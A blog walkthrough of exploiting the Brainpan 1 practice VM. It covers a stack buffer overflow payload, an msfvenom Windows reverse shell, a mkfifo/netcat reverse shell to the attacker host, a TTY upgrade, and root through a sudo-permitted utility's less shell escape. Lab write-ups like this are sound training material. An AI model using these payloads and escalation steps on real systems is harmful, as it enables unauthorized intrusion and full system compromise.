Skip to content

[2/2] Vulnerable VM: Brainpan 1

Last updated on 2019-12-23


We left off part 1 above knowing:

  1. that we control EIP and ESP
  2. the amount of characters needed before our code makes it into EIP: 524
  3. the static memory address of a jmp esp instruction within the binary: 0x311712f3

Making use of the jmp esp address

In order to begin crafting a useful payload, we need to append our known jmp esp instruction address to our initial 524 characters so that EIP will point to 0x311712f3 at the crucial point during runtime.

This will cause the program to jump back to ESP – the contents of which we also control – and execute our code.

vagrant@attack-vm:~$ python3 -c "print('a' * 524, end='')" > payload.txt
vagrant@attack-vm:~$ printf "\xf3\x12\x17\x31" >> payload.txt
vagrant@attack-vm:~$ hexdump -C payload.txt
00000000  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00000200  61 61 61 61 61 61 61 61  61 61 61 61 f3 12 17 31  |aaaaaaaaaaaa...1|

Note that:

  • it’s important to specify end='' for Python’s print function so we don’t end up with a trailing line feed.
  • inverting the memory address is necessary because x86 uses little-endian format.

Finding bytes we shouldn’t use

Certain bytes could prevent the payload from working properly, as it may get truncated or misinterpreted. You should find these bytes, commonly referred to as “bad characters”, for each distinct program you’re attempting to exploit. Different programs, architectures and environments may interpret the same byte in completely different manners.

What I like to do is create a file containing all 256 bytes minus the common offenders (the null byte, tab, space, carriage return, line feed, and form feed).

Then, after running winedbg brainpan.exe in another terminal (and hitting c, Enter to continue execution), I send the contents of such file after the current payload, and check the state of the stack.

vagrant@attack-vm:~$ hexdump -C payload.txt
00000000  61 61 61 61 61 61 61 61  61 61 61 61 61 61 61 61  |aaaaaaaaaaaaaaaa|
00000200  61 61 61 61 61 61 61 61  61 61 61 61 f3 12 17 31  |aaaaaaaaaaaa...1|
vagrant@attack-vm:~$ hexdump -C chars.txt
00000000  01 02 03 04 05 06 07 08  0b 0c 0e 0f 10 11 12 13  |................|
00000010  14 15 16 17 18 19 1a 1b  1c 1d 1e 1f 21 22 23 24  |............!"#$|
00000020  25 26 27 28 29 2a 2b 2c  2d 2e 2f 30 31 32 33 34  |%&'()*+,-./01234|
00000030  35 36 37 38 39 3a 3b 3c  3d 3e 3f 40 41 42 43 44  |56789:;<=>?@ABCD|
00000040  45 46 47 48 49 4a 4b 4c  4d 4e 4f 50 51 52 53 54  |EFGHIJKLMNOPQRST|
00000050  55 56 57 58 59 5a 5b 5c  5d 5e 5f 60 61 62 63 64  |UVWXYZ[\]^_`abcd|
00000060  65 66 67 68 69 6a 6b 6c  6d 6e 6f 70 71 72 73 74  |efghijklmnopqrst|
00000070  75 76 77 78 79 7a 7b 7c  7d 7e 7f 80 81 82 83 84  |uvwxyz{|}~......|
00000080  85 86 87 88 89 8a 8b 8c  8d 8e 8f 90 91 92 93 94  |................|
00000090  95 96 97 98 99 9a 9b 9c  9d 9e 9f a0 a1 a2 a3 a4  |................|
000000a0  a5 a6 a7 a8 a9 aa ab ac  ad ae af b0 b1 b2 b3 b4  |................|
000000b0  b5 b6 b7 b8 b9 ba bb bc  bd be bf c0 c1 c2 c3 c4  |................|
000000c0  c5 c6 c7 c8 c9 ca cb cc  cd ce cf d0 d1 d2 d3 d4  |................|
000000d0  d5 d6 d7 d8 d9 da db dc  dd de df e0 e1 e2 e3 e4  |................|
000000e0  e5 e6 e7 e8 e9 ea eb ec  ed ee ef f0 f1 f2 f3 f4  |................|
000000f0  f5 f6 f7 f8 f9 fa fb fc  fd fe                    |..........|
vagrant@attack-vm:~$ cat payload.txt chars.txt | ncat 9999
In winedbg, we can view a larger portion of the stack by issuing the info stack command, followed by a desired word size.
Wine-dbg>info stack 32
Stack dump:
0x000000000043f860:  0807060504030201 131211100f0e0c0b
0x000000000043f870:  1b1a191817161514 242322211f1e1d1c
0x000000000043f880:  2c2b2a2928272625 34333231302f2e2d
0x000000000043f890:  3c3b3a3938373635 44434241403f3e3d
0x000000000043f8a0:  4c4b4a4948474645 54535251504f4e4d
0x000000000043f8b0:  5c5b5a5958575655 64636261605f5e5d
0x000000000043f8c0:  6c6b6a6968676665 74737271706f6e6d
0x000000000043f8d0:  7c7b7a7978777675 84838281807f7e7d
0x000000000043f8e0:  8c8b8a8988878685 94939291908f8e8d
0x000000000043f8f0:  9c9b9a9998979695 a4a3a2a1a09f9e9d
0x000000000043f900:  acabaaa9a8a7a6a5 b4b3b2b1b0afaead
0x000000000043f910:  bcbbbab9b8b7b6b5 c4c3c2c1c0bfbebd
0x000000000043f920:  cccbcac9c8c7c6c5 d4d3d2d1d0cfcecd
0x000000000043f930:  dcdbdad9d8d7d6d5 e4e3e2e1e0dfdedd
0x000000000043f940:  ecebeae9e8e7e6e5 f4f3f2f1f0efeeed
0x000000000043f950:  fcfbfaf9f8f7f6f5 7bc82c630000fefd

Since every byte up to \xfe made it in, we don’t need to worry about additional forbidden bytes. Instead, if the sequence ended at a particular byte; e.g., at \x65, then the next byte, \x66, should probably be avoided. Add it to the forbidden list and repeat the process until the sequence is unbroken.

Using msfvenom to create a payload

I’d like to one day learn how to do this without msfvenom. Until then, let’s be script kiddies a little bit.

You can learn more about msfvenom from

I’ll be using it to create a reverse shell payload for Windows. Yes, the Brainpan VM runs on Ubuntu, but our reconnaissance didn’t indicate that. No meta-gaming.

vagrant@attack-vm:~$ msfvenom -p windows/shell_reverse_tcp LHOST=eth1 LPORT=8080 EXITFUNC=thread -f raw -b "\x00\x09\x0d\x0a\x20\xff" -n 32 > warhead.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Successfully added NOP sled of size 32 from x86/single_byte
Payload size: 383 bytes

One detail worth exploring is the addition of the 32-byte NOP sled via the -n option. Don’t get hung up on the number 32, that was just arbitrary. What’s important is that some space in the beginning of the payload is available for the decoding process to complete successfully.

Why, exactly? I’m not sure. It has to do with specific instructions used by the shikata_ga_nai encoder, whose inner workings I have not deciphered.

While the NOP sled can be added manually, I find it more convenient to add the option when invoking msfvenom.

With our payloads all ready to go:

  1. make sure the Brainpan VM is running
  2. open the listening port on your attack-vm with ncat -nl 8080
  3. in another terminal, launch the attack as shown below
vagrant@attack-vm:~$ cat payload.txt warhead.txt | ncat $ip 9999

In the listening terminal, you’ll see the command prompt!

vagrant@attack-vm:~$ ncat -nl 8080
CMD Version 1.4.1


Getting a real shell

That prompt is the first indication that the target is, in fact, not Windows. If you’re not convinced, cd .. to the top directory and issue dir.

Investigating the /bin directory, I found not only that bash exists, but also that nc is installed – a nice shortcut when ssh isn’t running and/or we can’t just add our own key to ~/.ssh/authorized_keys.

One little hitch…

Z:\>This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.

The netcat-openbsd version doesn’t allow for the -e switch that accepts a command, generally /bin/bash, to establish the reverse shell.

Perusing through everyone’s go-to resource for reverse shells, I found a true gem:

If you have the wrong version of netcat installed, […] you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


First, let’s launch another ncat listener in the attack-vm with ncat -nl 8888. Then, we need to adapt that command a little bit because we’re in a fake Windows prompt, and things like rm and mkfifo won’t work here.

We do have access to bash, which, much like python3, accepts commands with the -c option.

Z:\>/bin/bash -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | /bin/nc <attack-vm-ip> 8888 >/tmp/f"

Lo and behold!

vagrant@attack-vm:~$ ncat -nl 8888
bash: no job control in this shell
puck@brainpan:/$ whoami

Privilege escalation

Is this it?

puck@brainpan:/$ sudo -i
sudo -i
sudo: no tty present and no askpass program specified


Let’s see what puck can do with sudo -l.
puck@brainpan:/$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

sudo -l is truly one of the first commands I issue when looking for ways to elevate privileges. Got lucky here; let’s see what anansi_util does.

puck@brainpan:/$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]

The last option is interesting because it invokes the less program to render the manual pages of the specified command. If the shell isn’t restricted (spoiler: it isn’t), we can use less to invoke shell commands directly – and, in this case, as root!

One last hurdle: less isn’t running interactively. It’s just printing the manual straight up, and putting us back in the shell.

puck@brainpan:/$ sudo /home/anansi/bin/anansi_util manual yes
puck@brainpan:/$ # womp womp

Remember the output of sudo -i? no tty present

A bit of research reveals the tty command, for confirmation…

puck@brainpan:/$ tty
not a tty =(

…as well as how to obtain a TTY shell!

puck@brainpan:/$ which python3
which python3
puck@brainpan:/$ python3 -c "import pty; pty.spawn('/bin/bash');"
python3 -c "import pty; pty.spawn('/bin/bash');"
puck@brainpan:/$ tty

Make this pty.spawn technique a habit; it’s useful in many situations! No change in syntax between Python 2 and 3.

Now less should run interactively…
puck@brainpan:/$ sudo /home/anansi/bin/anansi_util manual yes
sudo /home/anansi/bin/anansi_util manual yes
No manual entry for manual
WARNING: terminal is not fully functional
-  (press RETURN) # Do it.
root@brainpan:/usr/share/man# ls -l /etc/shadow && touch /etc/shadow && echo 'Rooted!'
<n# ls -l /etc/shadow && touch /etc/shadow && echo 'Rooted!'
-rw-r----- 1 root shadow 1035 May 10 20:21 /etc/shadow

The highlighted !bash above means you actually type that and hit Enter. To understand a little more what happened, see the manual for less, and try it out in your own machine within an active less session.

! shell-command
Invokes a shell to run the shell-command given. […]

Source: man less

An exercise for the reader

puck@brainpan:/$ find / -type f -perm /4000 2> /dev/null
  1. Figure out what that find command does.
  2. The validate binary, which is not a standard Linux executable, but another custom, vulnerable program in Brainpan, provides another exploitation (also an overflow) and privilege escalation path.

Go for it!

Published inUncategorized